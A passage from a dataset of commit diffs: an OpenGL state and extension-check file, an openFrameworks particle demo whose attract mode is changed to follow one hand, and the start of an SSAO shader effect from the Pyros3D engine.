{\n#ifdef _WIN32\n\tif( wglSwapIntervalEXT )\n\t\twglSwapIntervalEXT(interval);\n#endif\n}<commit_msg>Just for cleanness, check first.<commit_after>#include <assert.h>\n#include \"gl_state.h\"\n#ifdef _WIN32\n#include \"GL\/wglew.h\"\n#endif\n\n\n#ifdef USING_GLES2\nPFNGLALPHAFUNCQCOMPROC glAlphaFuncQCOM;\n#endif\n\n\nOpenGLState glstate;\nGLExtensions gl_extensions;\n\nint OpenGLState::state_count = 0;\n\nvoid OpenGLState::Initialize() {\n\tif(initialized) return;\n\n\tRestore();\n\n\tinitialized = true;\n}\n\nvoid OpenGLState::Restore() {\n\tint count = 0;\n\tblend.restore(); count++;\n\tblendEquation.restore(); count++;\n\tblendFunc.restore(); count++;\n\tblendColor.restore(); count++;\n\n\tscissorTest.restore(); count++;\n\tscissorRect.restore(); count++;\n\n\tcullFace.restore(); count++;\n\tcullFaceMode.restore(); count++;\n\tfrontFace.restore(); count++;\n\n\tdepthTest.restore(); count++;\n\tdepthRange.restore(); count++;\n\tdepthFunc.restore(); count++;\n\tdepthWrite.restore(); count++;\n\n\tcolorMask.restore(); count++;\n\tviewport.restore(); count++;\n\n\tstencilTest.restore(); count++;\n\tstencilOp.restore(); count++;\n\tstencilFunc.restore(); count++;\n\n\tdither.restore(); count++;\n\n\tassert(count == state_count && \"OpenGLState::Restore is missing some states\");\n}\n\n\/\/ http:\/\/stackoverflow.com\/questions\/16147700\/opengl-es-using-tegra-specific-extensions-gl-ext-texture-array\n\nvoid CheckGLExtensions() {\n\tstatic bool done = false;\n\tif (done)\n\t\treturn;\n\tdone = true;\n\n\tmemset(&gl_extensions, 0, sizeof(gl_extensions));\n\n\tconst char *extString = (const char *)glGetString(GL_EXTENSIONS);\n\n#ifdef WIN32\n\tconst char *wglString = wglGetExtensionsStringEXT();\n\tgl_extensions.EXT_swap_control_tear = strstr(wglString, \"WGL_EXT_swap_control_tear\") != 0;\n#elif !defined(USING_GLES2)\n\t\/\/ const char *glXString = glXQueryExtensionString();\n\t\/\/ gl_extensions.EXT_swap_control_tear = strstr(glXString, \"GLX_EXT_swap_control_tear\") != 0;\n#endif\n\tgl_extensions.OES_packed_depth_stencil = strstr(extString, \"GL_OES_packed_depth_stencil\") != 0;\n\tgl_extensions.OES_depth24 = strstr(extString, \"GL_OES_depth24\") != 0;\n\tgl_extensions.OES_depth_texture = strstr(extString, \"GL_OES_depth_texture\") != 0;\n\tgl_extensions.EXT_discard_framebuffer = strstr(extString, \"GL_EXT_discard_framebuffer\") != 0;\n\n\t\/\/ TODO: Change to USING_GLES2 if it works on those other platforms too\n#ifdef ANDROID\n\tgl_extensions.QCOM_alpha_test = strstr(extString, \"GL_QCOM_alpha_test\") != 0;\n\t\/\/ Load extensions that are not auto-loaded by Android.\n\tif (gl_extensions.QCOM_alpha_test) {\n\t\tglAlphaFuncQCOM = (PFNGLALPHAFUNCQCOMPROC)eglGetProcAddress(\"glAlphaFuncQCOM\");\n\t}\n#endif\n\n#ifdef USING_GLES2\n\tgl_extensions.FBO_ARB = true;\n\tgl_extensions.FBO_EXT = false;\n#else\n\tgl_extensions.FBO_ARB = strstr(extString, \"GL_ARB_framebuffer_object\") != 0;\n\tgl_extensions.FBO_EXT = strstr(extString, \"GL_EXT_framebuffer_object\") != 0;\n#endif\n}\n\nvoid OpenGLState::SetVSyncInterval(int interval) {\n#ifdef _WIN32\n\tif( wglSwapIntervalEXT )\n\t\twglSwapIntervalEXT(interval);\n#endif\n}<|endoftext|>"}
{"text":"<commit_before>#include \"demoParticle.h\"\n\n\/\/------------------------------------------------------------------\ndemoParticle::demoParticle(){\n\tattractPoints = NULL;\n\tattractPoint = NULL;\n}\n\n\/\/------------------------------------------------------------------\nvoid demoParticle::setMode(particleMode newMode){\n\tmode = newMode;\n}\n\n\/\/------------------------------------------------------------------\nvoid demoParticle::setAttractPoints( vector <ofPoint> * attract ){\n\tattractPoints = attract;\n}\n\nvoid demoParticle::setAttractPoint(ofPoint * attractP) {\n\tattractPoint = attractP;\n}\n\/\/------------------------------------------------------------------\nvoid demoParticle::reset(){\n\t\/\/the unique val allows us to set properties slightly differently for each particle\n\tuniqueVal = ofRandom(-10000, 10000); \/\/TODO: move hard coded values into GUI\n\t\n\t\/\/pos.x = ofRandomWidth(); \n\t\/\/pos.y = ofRandomHeight();\n\t\n\tvel.x = ofRandom(-3.9, 3.9); \/\/TODO: move hard coded values into GUI\n\tvel.y = ofRandom(-3.9, 3.9); \/\/TODO: move hard coded values into GUI\n\t\n\tfrc   = ofPoint(0,0,0);\n\t\n\tscale = ofRandom(0.5, 1.0);\/\/TODO: move hard coded values into GUI\n\t\n\tif( mode == PARTICLE_MODE_NOISE ){\n\t\tdrag  = ofRandom(0.97, 0.99);\/\/TODO: move hard coded values into GUI\n\t\tvel.y = fabs(vel.y) * 3.0; \/\/make the particles all be going down \/\/TODO: move hard coded values into GUI\n\t}else{\n\t\tdrag  = ofRandom(0.95, 0.998);\t\/\/TODO: move hard coded values into GUI\n\t}\n}\n\n\/\/------------------------------------------------------------------\nvoid demoParticle::update(){\n\n\t\/\/1 - APPLY THE FORCES BASED ON WHICH MODE WE ARE IN \n\t\n\tif( mode == PARTICLE_MODE_ATTRACT ){\n\t\tofPoint attractPt(ofGetMouseX(), ofGetMouseY());\n\t\tfrc = attractPt-pos; \/\/ we get the attraction force\/vector by looking at the mouse pos relative to our pos\n\t\tfrc.normalize(); \/\/by normalizing we disregard how close the particle is to the attraction point \n\t\t\n\t\tvel *= drag; \/\/apply drag\n\t\tvel += frc * 0.6; \/\/apply force \/\/TODO: move hard coded values into GUI\n\t}\n\telse if( mode == PARTICLE_MODE_REPEL ){ \/\/TODO: update this to be repelled by attract points\n\t\tofPoint attractPt(ofGetMouseX(), ofGetMouseY());\n\t\tfrc = attractPt-pos; \n\t\t\n\t\t\/\/let get the distance and only repel points close to the mouse\n\t\tfloat dist = frc.length();\n\t\tfrc.normalize(); \n\t\t\n\t\tvel *= drag; \n\t\tif( dist < 150 ){\/\/TODO: move hard coded values into GUI\n\t\t\tvel += -frc * 0.6; \/\/notice the frc is negative \/\/TODO: move hard coded values into GUI\n\t\t}else{\n\t\t\t\/\/if the particles are not close to us, lets add a little bit of random movement using noise. this is where uniqueVal comes in handy. \t\t\t\n\t\t\tfrc.x = ofSignedNoise(uniqueVal, pos.y * 0.01, ofGetElapsedTimef()*0.2);\/\/TODO: move hard coded values into GUI\n\t\t\tfrc.y = ofSignedNoise(uniqueVal, pos.x * 0.01, ofGetElapsedTimef()*0.2);\/\/TODO: move hard coded values into GUI\n\t\t\tvel += frc * 0.04;\/\/TODO: move hard coded values into GUI\n\t\t}\n\t}\n\telse if( mode == PARTICLE_MODE_NOISE || attractPoint == NULL){\n\t\t\/\/lets simulate falling snow \n\t\t\/\/the fake wind is meant to add a shift to the particles based on where in x they are\n\t\t\/\/we add pos.y as an arg so to prevent obvious vertical banding around x values - try removing the pos.y * 0.006 to see the banding\n\t\tfloat fakeWindX = ofSignedNoise(pos.x * 0.003, pos.y * 0.006, ofGetElapsedTimef() * 0.6);\n\t\t\n\t\tfrc.x = fakeWindX * 0.25 + ofSignedNoise(uniqueVal, pos.y * 0.04) * 0.6;\n\t\tfrc.y = ofSignedNoise(uniqueVal, pos.x * 0.006, ofGetElapsedTimef()*0.2) * 0.09 + 0.18;\n\n\t\tvel *= drag; \n\t\tvel += frc * 0.4;\n\t\t\n\t\t\/\/we do this so as to skip the bounds check for the bottom and make the particles go back to the top of the screen\n\t\tif( pos.y + vel.y > ofGetHeight() ){\n\t\t\tpos.y -= ofGetHeight();\n\t\t}\n\t}\n\telse if( mode == PARTICLE_MODE_NEAREST_POINTS ){\n\t\t\n\t\tif( attractPoints ){\n\n\t\t\t\/\/1 - find closest attractPoint \n\t\t\tofPoint closestPt;\n\t\t\tint closest = -1; \n\t\t\tfloat closestDist = 9999999;\n\t\t\t\n\t\t\tfor(unsigned int i = 0; i < attractPoints->size(); i++){\n\t\t\t\tfloat lenSq = ( attractPoints->at(i)-pos ).lengthSquared();\n\t\t\t\tif( lenSq < closestDist ){\n\t\t\t\t\tclosestDist = lenSq;\n\t\t\t\t\tclosest = i;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\/\/2 - if we have a closest point - lets calcuate the force towards it\n\t\t\tif( closest != -1 ){\n\t\t\t\tclosestPt = attractPoints->at(closest);\t\t\t\t\n\t\t\t\tfloat dist = sqrt(closestDist);\n\t\t\t\t\n\t\t\t\t\/\/in this case we don't normalize as we want to have the force proportional to distance \n\t\t\t\tfrc = closestPt - pos;\n\t\t\n\t\t\t\tvel *= drag;\n\t\t\t\t \n\t\t\t\t\/\/lets also limit our attraction to a certain distance and don't apply if 'n' key is pressed\n\t\t\t\tif( dist < 300 && dist > 40 && !ofGetKeyPressed('n') ){\/\/TODO: move hard coded values into GUI\n\t\t\t\t\tvel += frc * 0.003; \/\/TODO: move hard coded values into GUI\n\t\t\t\t}else{\n\t\t\t\t\t\/\/if the particles are not close to us, lets add a little bit of random movement using noise. this is where uniqueVal comes in handy. \t\t\t\n\t\t\t\t\tfrc.x = ofSignedNoise(uniqueVal, pos.y * 0.01, ofGetElapsedTimef()*0.2);\/\/TODO: move hard coded values into GUI\n\t\t\t\t\tfrc.y = ofSignedNoise(uniqueVal, pos.x * 0.01, ofGetElapsedTimef()*0.2);\/\/TODO: move hard coded values into GUI\n\t\t\t\t\tvel += frc * 0.4;\/\/TODO: move hard coded values into GUI\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\n\t\t}\n\t\t\n\t}\n\t\n\t\n\t\/\/2 - UPDATE OUR POSITION\n\t\n\tpos += vel; \n\t\n\t\n\t\/\/3 - (optional) LIMIT THE PARTICLES TO STAY ON SCREEN \n\t\/\/we could also pass in bounds to check - or alternatively do this at the ofApp level\n\tif( pos.x > ofGetWidth() ){\n\t\tpos.x = ofGetWidth();\n\t\tvel.x *= -1.0;\n\t}else if( pos.x < 0 ){\n\t\tpos.x = 0;\n\t\tvel.x *= -1.0;\n\t}\n\tif( pos.y > ofGetHeight() ){\n\t\tpos.y = ofGetHeight();\n\t\tvel.y *= -1.0;\n\t}\n\telse if( pos.y < 0 ){\n\t\tpos.y = 0;\n\t\tvel.y *= -1.0;\n\t}\t\n\t\t\n}\n\n\/\/------------------------------------------------------------------\nvoid demoParticle::draw(){\n\n\tif( mode == PARTICLE_MODE_ATTRACT ){\n\t\tofSetColor(255, 63, 180);\/\/TODO: move hard coded values into GUI\n\t}\n\telse if( mode == PARTICLE_MODE_REPEL ){\n\t\tofSetColor(208, 255, 63);\/\/TODO: move hard coded values into GUI\n\t}\n\telse if( mode == PARTICLE_MODE_NOISE ){\n\t\tofSetColor(99, 63, 255);\/\/TODO: move hard coded values into GUI\n\t}\n\telse if( mode == PARTICLE_MODE_NEAREST_POINTS ){\n\t\tofSetColor(103, 160, 237);\/\/TODO: move hard coded values into GUI\n\t}\n\t\t\t\n\tofDrawCircle(pos.x, pos.y, scale * 4.0);\/\/TODO: move hard coded values into GUI\n}\n\n<commit_msg>Attract mode now follows one hand.<commit_after>#include \"demoParticle.h\"\n\n\/\/------------------------------------------------------------------\ndemoParticle::demoParticle(){\n\tattractPoints = NULL;\n\tattractPoint = NULL;\n}\n\n\/\/------------------------------------------------------------------\nvoid demoParticle::setMode(particleMode newMode){\n\tmode = newMode;\n}\n\n\/\/------------------------------------------------------------------\nvoid demoParticle::setAttractPoints( vector <ofPoint> * attract ){\n\tattractPoints = attract;\n}\n\nvoid demoParticle::setAttractPoint(ofPoint * attractP) {\n\tattractPoint = attractP;\n}\n\/\/------------------------------------------------------------------\nvoid demoParticle::reset(){\n\t\/\/the unique val allows us to set properties slightly differently for each particle\n\tuniqueVal = ofRandom(-10000, 10000); \/\/TODO: move hard coded values into GUI\n\t\n\t\/\/pos.x = ofRandomWidth(); \n\t\/\/pos.y = ofRandomHeight();\n\t\n\tvel.x = ofRandom(-3.9, 3.9); \/\/TODO: move hard coded values into GUI\n\tvel.y = ofRandom(-3.9, 3.9); \/\/TODO: move hard coded values into GUI\n\t\n\tfrc   = ofPoint(0,0,0);\n\t\n\tscale = ofRandom(0.5, 1.0);\/\/TODO: move hard coded values into GUI\n\t\n\tif( mode == PARTICLE_MODE_NOISE ){\n\t\tdrag  = ofRandom(0.97, 0.99);\/\/TODO: move hard coded values into GUI\n\t\tvel.y = fabs(vel.y) * 3.0; \/\/make the particles all be going down \/\/TODO: move hard coded values into GUI\n\t}else{\n\t\tdrag  = ofRandom(0.95, 0.998);\t\/\/TODO: move hard coded values into GUI\n\t}\n}\n\n\/\/------------------------------------------------------------------\nvoid demoParticle::update(){\n\n\t\/\/1 - APPLY THE FORCES BASED ON WHICH MODE WE ARE IN \n\t\n\t\/\/if( mode == PARTICLE_MODE_ATTRACT ){\n\t\t\/\/ofPoint attractPt(ofGetMouseX(), ofGetMouseY());\n\t\t\/\/frc = attractPt-pos; \/\/ we get the attraction force\/vector by looking at the mouse pos relative to our pos\n\tif( mode == PARTICLE_MODE_ATTRACT && attractPoint){\n\t\tfrc = *attractPoint-pos; \/\/ we get the attraction force\/vector by looking at the mouse pos relative to our pos\n\t\tfrc.normalize(); \/\/by normalizing we disregard how close the particle is to the attraction point \n\t\t\n\t\tvel *= drag; \/\/apply drag\n\t\tvel += frc * 0.6; \/\/apply force \/\/TODO: move hard coded values into GUI\n\t}\n\telse if( mode == PARTICLE_MODE_REPEL && attractPoints ){ \/\/TODO: update this to be repelled by attract points\n\t\tofPoint attractPt(ofGetMouseX(), ofGetMouseY());\n\t\tfrc = attractPt-pos; \n\t\t\n\t\t\/\/let get the distance and only repel points close to the mouse\n\t\tfloat dist = frc.length();\n\t\tfrc.normalize(); \n\t\t\n\t\tvel *= drag; \n\t\tif( dist < 150 ){\/\/TODO: move hard coded values into GUI\n\t\t\tvel += -frc * 0.6; \/\/notice the frc is negative \/\/TODO: move hard coded values into GUI\n\t\t}else{\n\t\t\t\/\/if the particles are not close to us, lets add a little bit of random movement using noise. this is where uniqueVal comes in handy. \t\t\t\n\t\t\tfrc.x = ofSignedNoise(uniqueVal, pos.y * 0.01, ofGetElapsedTimef()*0.2);\/\/TODO: move hard coded values into GUI\n\t\t\tfrc.y = ofSignedNoise(uniqueVal, pos.x * 0.01, ofGetElapsedTimef()*0.2);\/\/TODO: move hard coded values into GUI\n\t\t\tvel += frc * 0.04;\/\/TODO: move hard coded values into GUI\n\t\t}\n\t}\n\telse if( mode == PARTICLE_MODE_NOISE || attractPoint == NULL || attractPoints == NULL){\n\t\t\/\/lets simulate falling snow \n\t\t\/\/the fake wind is meant to add a shift to the particles based on where in x they are\n\t\t\/\/we add pos.y as an arg so to prevent obvious vertical banding around x values - try removing the pos.y * 0.006 to see the banding\n\t\tfloat fakeWindX = ofSignedNoise(pos.x * 0.003, pos.y * 0.006, ofGetElapsedTimef() * 0.6);\n\t\t\n\t\tfrc.x = fakeWindX * 0.25 + ofSignedNoise(uniqueVal, pos.y * 0.04) * 0.6;\n\t\tfrc.y = ofSignedNoise(uniqueVal, pos.x * 0.006, ofGetElapsedTimef()*0.2) * 0.09 + 0.18;\n\n\t\tvel *= drag; \n\t\tvel += frc * 0.4;\n\t\t\n\t\t\/\/we do this so as to skip the bounds check for the bottom and make the particles go back to the top of the screen\n\t\tif( pos.y + vel.y > ofGetHeight() ){\n\t\t\tpos.y -= ofGetHeight();\n\t\t}\n\t}\n\telse if( mode == PARTICLE_MODE_NEAREST_POINTS ){\n\t\t\n\t\tif( attractPoints ){\n\n\t\t\t\/\/1 - find closest attractPoint \n\t\t\tofPoint closestPt;\n\t\t\tint closest = -1; \n\t\t\tfloat closestDist = 9999999;\n\t\t\t\n\t\t\tfor(unsigned int i = 0; i < attractPoints->size(); i++){\n\t\t\t\tfloat lenSq = ( attractPoints->at(i)-pos ).lengthSquared();\n\t\t\t\tif( lenSq < closestDist ){\n\t\t\t\t\tclosestDist = lenSq;\n\t\t\t\t\tclosest = i;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\/\/2 - if we have a closest point - lets calcuate the force towards it\n\t\t\tif( closest != -1 ){\n\t\t\t\tclosestPt = attractPoints->at(closest);\t\t\t\t\n\t\t\t\tfloat dist = sqrt(closestDist);\n\t\t\t\t\n\t\t\t\t\/\/in this case we don't normalize as we want to have the force proportional to distance \n\t\t\t\tfrc = closestPt - pos;\n\t\t\n\t\t\t\tvel *= drag;\n\t\t\t\t \n\t\t\t\t\/\/lets also limit our attraction to a certain distance and don't apply if 'n' key is pressed\n\t\t\t\tif( dist < 300 && dist > 40 && !ofGetKeyPressed('n') ){\/\/TODO: move hard coded values into GUI\n\t\t\t\t\tvel += frc * 0.003; \/\/TODO: move hard coded values into GUI\n\t\t\t\t}else{\n\t\t\t\t\t\/\/if the particles are not close to us, lets add a little bit of random movement using noise. this is where uniqueVal comes in handy. \t\t\t\n\t\t\t\t\tfrc.x = ofSignedNoise(uniqueVal, pos.y * 0.01, ofGetElapsedTimef()*0.2);\/\/TODO: move hard coded values into GUI\n\t\t\t\t\tfrc.y = ofSignedNoise(uniqueVal, pos.x * 0.01, ofGetElapsedTimef()*0.2);\/\/TODO: move hard coded values into GUI\n\t\t\t\t\tvel += frc * 0.4;\/\/TODO: move hard coded values into GUI\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\n\t\t}\n\t\t\n\t}\n\t\n\t\n\t\/\/2 - UPDATE OUR POSITION\n\t\n\tpos += vel; \n\t\n\t\n\t\/\/3 - (optional) LIMIT THE PARTICLES TO STAY ON SCREEN \n\t\/\/we could also pass in bounds to check - or alternatively do this at the ofApp level\n\tif( pos.x > ofGetWidth() ){\n\t\tpos.x = ofGetWidth();\n\t\tvel.x *= -1.0;\n\t}else if( pos.x < 0 ){\n\t\tpos.x = 0;\n\t\tvel.x *= -1.0;\n\t}\n\tif( pos.y > ofGetHeight() ){\n\t\tpos.y = ofGetHeight();\n\t\tvel.y *= -1.0;\n\t}\n\telse if( pos.y < 0 ){\n\t\tpos.y = 0;\n\t\tvel.y *= -1.0;\n\t}\t\n\t\t\n}\n\n\/\/------------------------------------------------------------------\nvoid demoParticle::draw(){\n\n\tif( mode == PARTICLE_MODE_ATTRACT ){\n\t\tofSetColor(255, 63, 180);\/\/TODO: move hard coded values into GUI\n\t}\n\telse if( mode == PARTICLE_MODE_REPEL ){\n\t\tofSetColor(208, 255, 63);\/\/TODO: move hard coded values into GUI\n\t}\n\telse if( mode == PARTICLE_MODE_NOISE ){\n\t\tofSetColor(99, 63, 255);\/\/TODO: move hard coded values into GUI\n\t}\n\telse if( mode == PARTICLE_MODE_NEAREST_POINTS ){\n\t\tofSetColor(103, 160, 237);\/\/TODO: move hard coded values into GUI\n\t}\n\t\t\t\n\tofDrawCircle(pos.x, pos.y, scale * 4.0);\/\/TODO: move hard coded values into GUI\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/============================================================================\r\n\/\/ Name        : SSaoEffect.cpp\r\n\/\/ Author      : Duarte Peixinho\r\n\/\/ Version     :\r\n\/\/ Copyright   : ;)\r\n\/\/ Description : SSAO Effect\r\n\/\/============================================================================\r\n\r\n#include <Pyros3D\/Rendering\/PostEffects\/Effects\/SSAOEffect.h>\r\n#include <time.h>\r\nnamespace p3d {\r\n\r\n\tSSAOEffect::SSAOEffect(const uint32 Tex1, const uint32 Width, const uint32 Height) : IEffect(Width, Height)\r\n\t{\r\n\r\n\t\t\/\/ Set RTT\r\n\t\tUseRTT(Tex1);\r\n\r\n\t\t\/\/ Use Sample\r\n\t\trnm = new Texture();\r\n\t\tuint32 noiseSize = 16;\r\n\t\tstd::vector<Vec3> noise; noise.resize(16);\r\n\t\tsrand(time(NULL));\r\n\t\tfor (int i = 0; i < noiseSize; ++i) {\r\n\t\t\tnoise[i].x = (rand() % 200 - 100) * 0.01f;\r\n\t\t\tnoise[i].y = (rand() % 200 - 100) * 0.01f;\r\n\t\t\tnoise[i].z = 0.0f;\r\n\t\t\tnoise[i].normalize();\r\n\t\t}\r\n\t\trnm->CreateEmptyTexture(TextureType::Texture, TextureDataType::RGB, 4, 4, false);\r\n\t\trnm->UpdateData(&noise[0]);\r\n\t\trnm->SetRepeat(TextureRepeat::Repeat, TextureRepeat::Repeat);\r\n\t\tUseCustomTexture(rnm);\r\n\r\n\t\t\/\/ Create Fragment Shader\r\n\t\tFragmentShaderString =\r\n\t\t\"uniform sampler2D uTex0;\\n\"\r\n\t\t\"uniform sampler2D uTex1;\\n\"\r\n\t\t\"uniform vec2 uNearFar;\\n\"\r\n\t\t\"uniform vec2 uScreen;\\n\"\r\n\t\t\"uniform float uStrength;\\n\"\r\n\t\t\"uniform int uSamples;\\n\"\r\n\t\t\"uniform float uRadius;\\n\"\r\n\t\t\"uniform float uScale;\\n\"\r\n\t\t\"varying vec2 vTexcoord;\\n\"\r\n\t\t\"uniform mat4 matProj;\\n\"\r\n\t\t\"uniform mat4 uInverseView;\\n\"\r\n\t\t\"uniform mat4 uView;\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\/\/ Reconstruct Positions and Normals\\n\"\r\n\t\t\"float DecodeLinearDepth(float z, vec4 z_info_local)\\n\"\r\n\t\t\"{\\n\"\r\n\t\t\"\treturn z_info_local.x - z * z_info_local.w;\\n\"\r\n\t\t\"}\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"float DecodeNativeDepth(float native_z, vec4 z_info_local)\\n\"\r\n\t\t\"{\\n\"\r\n\t\t\"\treturn z_info_local.z \/ (native_z * z_info_local.w + z_info_local.y);\\n\"\r\n\t\t\"}\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"vec2 getPosViewSpace(vec2 uv, vec4 z_info_local, mat4 matProj_local, vec4 viewport_transform_local)\\n\"\r\n\t\t\"{\\n\"\r\n\t\t\"\tvec2 screenPos = (uv + .5) * viewport_transform_local.zw - viewport_transform_local.xy;\\n\"\r\n\t\t\"\tvec2 screenSpaceRay = vec2(screenPos.x \/ matProj_local[0][0], screenPos.y \/ matProj_local[1][1]);\\n\"\r\n\t\t\"\treturn screenSpaceRay;\\n\"\r\n\t\t\"}\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"vec3 getPosViewSpace(float depth_sampled, vec2 uv, vec4 z_info_local, out vec3 vpos, mat4 matProj_local, vec4 viewport_transform_local)\\n\"\r\n\t\t\"{\\n\"\r\n\t\t\"\tvec2 screenSpaceRay = getPosViewSpace(uv, z_info_local, matProj_local, viewport_transform_local);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tfloat lDepth = DecodeNativeDepth(depth_sampled, z_info_local);\\n\"\r\n\t\t\"\tvpos.xy = lDepth * screenSpaceRay;\\n\"\r\n\t\t\"\tvpos.z = -lDepth;\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\treturn vec3(screenSpaceRay, -1);\\n\"\r\n\t\t\"}\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"void main() {\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tfloat total_strength = uStrength;\\n\"\r\n\t\t\"\tfloat radius = uRadius;\\n\"\r\n\t\t\"\tint samples = uSamples;\\n\"\r\n\t\t\"\tvec3 sample_sphere[16];\\n\"\r\n\t\t\"\tsample_sphere[0] = vec3( 0.5381, 0.1856,0.4319);\\n\"\r\n\t\t\"\tsample_sphere[1] = vec3( 0.1379, 0.2486,0.4430);\\n\"\r\n\t\t\"\tsample_sphere[2] = vec3( 0.3371, 0.5679,0.57);\\n\"\r\n\t\t\"\tsample_sphere[3] = vec3(-0.6999,-0.451,0.19);\\n\"\r\n\t\t\"\tsample_sphere[4] = vec3( 0.0689,-0.1598,0.8547);\\n\"\r\n\t\t\"\tsample_sphere[5] = vec3( 0.0560, 0.69,0.1843);\\n\"\r\n\t\t\"\tsample_sphere[6] = vec3(-0.0146, 0.1402,0.762);\\n\"\r\n\t\t\"\tsample_sphere[7] = vec3( 0.0100,-0.1924,0.344);\\n\"\r\n\t\t\"\tsample_sphere[8] = vec3(-0.3577,-0.5301,0.4358);\\n\"\r\n\t\t\"\tsample_sphere[9] = vec3(-0.3169, 0.1063,0.158);\\n\"\r\n\t\t\"\tsample_sphere[10] = vec3( 0.103,-0.5869,0.46);\\n\"\r\n\t\t\"\tsample_sphere[11] = vec3(-0.897,-0.4940,0.3287);\\n\"\r\n\t\t\"\tsample_sphere[12] = vec3( 0.7119,-0.154,0.918);\\n\"\r\n\t\t\"\tsample_sphere[13] = vec3(-0.533, 0.596,0.5411);\\n\"\r\n\t\t\"\tsample_sphere[14] = vec3( 0.352,-0.631,0.5460);\\n\"\r\n\t\t\"\tsample_sphere[15] = vec3(-0.4776, 0.2847,0.271);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tvec4 z_info = vec4(uNearFar.x, uNearFar.y, uNearFar.x*uNearFar.y, uNearFar.x - uNearFar.y);\\n\"\r\n\t\t\"\tvec2 ssaoOut = vec2(uScreen.x, uScreen.y);\\n\"\r\n\t\t\"\tvec4 ssao_vp = vec4(1.0, 1.0, 2.0\/ssaoOut.x, 2.0\/ssaoOut.y);\\n\"\r\n\t\t\"\tvec3 v1, v2, v3;\\n\"\r\n\t\t\"\tvec4 out_dim = vec4(uScreen.x, uScreen.y, 1.0\/uScreen.x, 1.0\/uScreen.y);\\n\"\r\n\t\t\"\tvec2 screenCoord = vec2(uScreen.x*vTexcoord.x, uScreen.y*vTexcoord.y);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\" \tgetPosViewSpace(texture2D(uTex0, vTexcoord).r, screenCoord, z_info, v1, matProj, ssao_vp);\\n\"\r\n\t\t\"    getPosViewSpace(texture2D(uTex0, vTexcoord + vec2(out_dim.z, 0)).r, screenCoord + vec2(1, 0), z_info, v2, matProj, ssao_vp);\\n\"\r\n\t\t\"    getPosViewSpace(texture2D(uTex0, vTexcoord + vec2(0,out_dim.w)).r, screenCoord + vec2(0, 1), z_info, v3, matProj, ssao_vp);\\n\"\r\n\t\t\"\tvec3 vViewNormal = normalize(cross(v1 - v2, v1 - v3));\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tvec4 vs_position = vec4(v1, 1.0);\\n\"\r\n\t\t\"\tvec4 ws_position = uInverseView * vec4(v1, 1.0);\\n\"\r\n\t\t\"\tvec4 cs_position = matProj * vec4(v1, 1.0);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tfloat depth = texture2D(uTex0, vTexcoord.xy).r;\\n\"\r\n\t\t\"\tvec3 normal = vViewNormal;\\n\"\r\n\t\t\"\tvec3 rvec = vec3(texture2D(uTex1, (ws_position.xy + ws_position.z) * uScale).xy * 2.0 - 1.0, 0.0);\\n\"\r\n\t\t\"\tvec3 tangent = normalize(rvec - normal * dot(rvec, normal));\\n\"\r\n\t\t\"\tvec3 bitangent = cross(normal, tangent);\\n\"\r\n\t\t\"\tmat3 TBN = mat3(tangent, bitangent, normal);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tfloat occlusion = 0.0;\\n\"\r\n\t\t\"\t\\n\"\r\n\t\t\"\tsamples = uSamples;\\n\"\r\n\t\t\"\t\\n\"\r\n\t\t\"\tfor(int i=0; i < samples; i++) {\\n\"\r\n\t\t\"\t\tvec3 samplePos = vs_position.xyz + (TBN * (sample_sphere[i] * radius));\\n\"\r\n\t\t\"\t\tvec4 offset = vec4(samplePos, 1.0);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\t\tfloat orig_offset = offset.z;\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\t\toffset = matProj * offset;\\n\"\r\n\t\t\"\t\toffset.xy \/= offset.w;\\n\"\r\n\t\t\"\t\toffset.xy = offset.xy * 0.5 + 0.5;\\n\"\r\n\t\t\"\t\t\\n\"\r\n\t\t\"\t\tfloat sampleDepth = texture2D(uTex0, offset.xy).r;\\n\"\r\n\t\t\"\t\tfloat zz = DecodeNativeDepth(sampleDepth, z_info);\\n\"\r\n\t\t\"\t\t\/\/bool inside_wall = DecodeNativeDepth(sampleDepth, z_info) < -orig_offset;\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\t\tfloat rangeCheck = -orig_offset - zz < radius ? 1.0 : 0.0;\\n\"\r\n\t\t\"\t\tocclusion += (zz <= -orig_offset ? 1.0 : 0.0) * rangeCheck;\\n\"\r\n\t\t\"\t\t\\n\"\r\n\t\t\"\t}\\n\"\r\n\t\t\"\tfloat ao = (1.0 - (occlusion \/ samples) * total_strength);\\n\"\r\n\t\t\"\tgl_FragColor = vec4(ao);\\n\"\r\n\t\t\"}\";\r\n\r\n\t\tCompileShaders();\r\n\r\n\t\ttotal_strength = 2.0f;\r\n\t\tradius = .2f;\r\n\t\tsamples = 16;\r\n\t\tscale = 100.f;\r\n\r\n\t\tAddUniform(Uniform(\"uStrength\", Uniforms::DataType::Float, &total_strength));\r\n\t\tAddUniform(Uniform(\"uRadius\", Uniforms::DataType::Float, &radius));\r\n\t\tAddUniform(Uniform(\"uSamples\", Uniforms::DataType::Int, &samples));\r\n\t\tAddUniform(Uniform(\"uScale\", Uniforms::DataType::Float, &scale));\r\n\t\tAddUniform(Uniform(\"uNearFar\", Uniforms::PostEffects::NearFarPlane));\r\n\t\tAddUniform(Uniform(\"uScreen\", Uniforms::PostEffects::ScreenDimensions));\r\n\t\tAddUniform(Uniform(\"matProj\", Uniforms::PostEffects::ProjectionFromScene));\r\n\t\tuInverseViewMatrixUniform = AddUniform(Uniform(\"uInverseView\", Uniforms::DataUsage::Other, Uniforms::DataType::Matrix));\r\n\t\tuViewMatrixUniform = AddUniform(Uniform(\"uView\", Uniforms::DataUsage::Other, 